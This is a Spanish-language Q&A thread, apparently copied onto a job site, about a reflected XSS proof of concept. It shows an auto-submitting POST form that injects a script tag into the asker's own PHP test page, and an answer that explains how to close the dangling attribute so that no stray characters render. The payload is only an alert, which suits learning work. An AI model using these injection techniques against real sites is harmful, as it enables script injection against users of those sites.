Empresas
Empregos
  • Sobre nós
  • Soluções
    • Publicação de vagas
      Publique sua vaga e receba candidatos qualificados em 48h.
    • Avaliações de candidatos
      Mais de 500 testes técnicos e psicológicos, mais anti-fraude.
    • Headhunting
      Busca executiva personalizada do início ao fim.
    • Folha de Pagamento + EOR
      Dispersão de folha e EOR em mais de 15 países da LATAM.
  • Preços
  • Empregos

0

206
Visualizações
XSS PoC: ocultar caracteres renderizados en DOM

Empecé a jugar con XSS para mejorar mi postura de seguridad en el trabajo. Pude explotar con éxito un ataque XSS reflejado usando un formulario POST redirigido, pero parece que no puedo eliminar los caracteres extraños que se muestran en la página.

He comprobado:

XSS: Carácter que se muestra en DOM

https://security.stackexchange.com/questions/207282/xss-character-showing-in-dom?newreg=61e9890d94d34d0c8818158ba541b117

¿Cómo cargar javascript en otra página web a través de XSS?

Pero ninguna de las sugerencias parece funcionar para mí.

Mi exploit es una forma básica, explotando un script del lado del servidor PHP que configuré haciendo eco $_POST['username'] en el atributo de valor:

 <form id=1 method="post" action="http://vulnerable.site.com"> <input type="hidden" name="username" value="&quot;&gt;&lt;script&gt;alert('Hello');&lt;/script&gt;&quot;"> </form> <script> document.getElementById(1).submit(); </script>

Sin codificar:

 <form id=1 method="post" action="http://vulnerable.site.com"> <input type="hidden" name="username" value=""><script>alert('Hello');</script>"> </form> <script> document.getElementById(1).submit(); </script>

Pero este molesto "> no morirá:

Caracteres adicionales representados

He intentado:

  • Varias técnicas de evasión de filtros agregando caracteres adicionales recomendados por OWASP
  • Escapar de "> a &quot;&gt; - esto da como resultado errores de sintaxis, y la eliminación de las comillas iniciales rompe la carga útil. PERO, según los recursos vinculados anteriormente, parece posible según los comentarios
  • Usar selectores de CSS para ocultar los caracteres en mi carga útil de ataque (usando herramientas de desarrollo, el "> aparece como #text , así que pensé que esto podría funcionar)

Estoy seguro de que es algo tonto, pero ¿qué me estoy perdiendo? Es claramente posible, pero no soy un desarrollador web experto (de ahí el jugueteo). ¡Cualquier comentario o consejo sería apreciado!

about 4 years ago · Juan Pablo Isaza
1 Respostas
Responde à pergunta

0

Eventualmente lo descubrí después de horas de prueba y error. La idea es cerrar la etiqueta colgante con una etiqueta separada:

Así que la carga útil anterior era:

 "><script>alert('Hello');</script>

Que, después de que el script PHP lo analice, se ve así:

 <input type="text" name="username" value="">"> <!-- notice the dangling tag -->

Después de agregar una etiqueta de entrada de cierre, la solución funcionó:

 "><script>alert('Hello');</script><input type="hidden" value="

Y salida del análisis de PHP:

 <input type="text" name="username" value=""><script>alert('Hello');</script><input type="hidden" value="">

Tenga en cuenta que lo anterior debe estar codificado en HTML para funcionar correctamente. Lo omití por legibilidad.

about 4 years ago · Juan Pablo Isaza Relatório
Responde à pergunta
Encontrar trabalhos remotos

Descubra a nova forma de encontrar um emprego!

melhores empregos
Principais categorias de trabalho
Empresas
Postar vaga Preços Comercial
Jurídico
Termos e Condições Política de privacidade
© 2026 PeakU Inc. All Rights Reserved.
Andres GPT
Recomende algumas ofertas para mim
Preciso de ajuda